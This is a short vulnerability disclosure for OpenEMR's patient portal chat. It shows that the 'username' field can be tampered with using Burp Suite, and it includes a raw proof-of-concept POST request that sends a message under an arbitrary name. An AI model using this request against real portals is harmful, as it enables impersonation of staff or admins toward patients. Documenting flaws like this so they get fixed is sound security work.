Description

In chat function, username is not validated. We can change username to any value we want which not match with logged in user.

Exploitation steps:

1. Login with Phil1 account (Patient account).
2. Send message via Burpsuite proxy
3. Modify username to any value you want (I user "n00b")
4. As the result, the message is sent from "n00b" not from "Phil Belford"

Proof of Concept

POST /openemr/portal/messaging/secure_chat.php?action=save HTTP/1.1
Host: demo.openemr.io
Cookie: username=Phil%20Belford; PortalOpenEMR=wte53yTGjI7VYMcBHd%2C%2CO%2C-qdK6nklsE7Qo2F87g949Hz988
Referer: https://demo.openemr.io/openemr/portal/messaging/secure_chat.php
...

username=n00b&message=message+from+n00b&sender_id=1&recip_id=%5B%22admin%22%5D

POC image:

Impact

Attackers can impersonate any user he wants even admin to chat with others.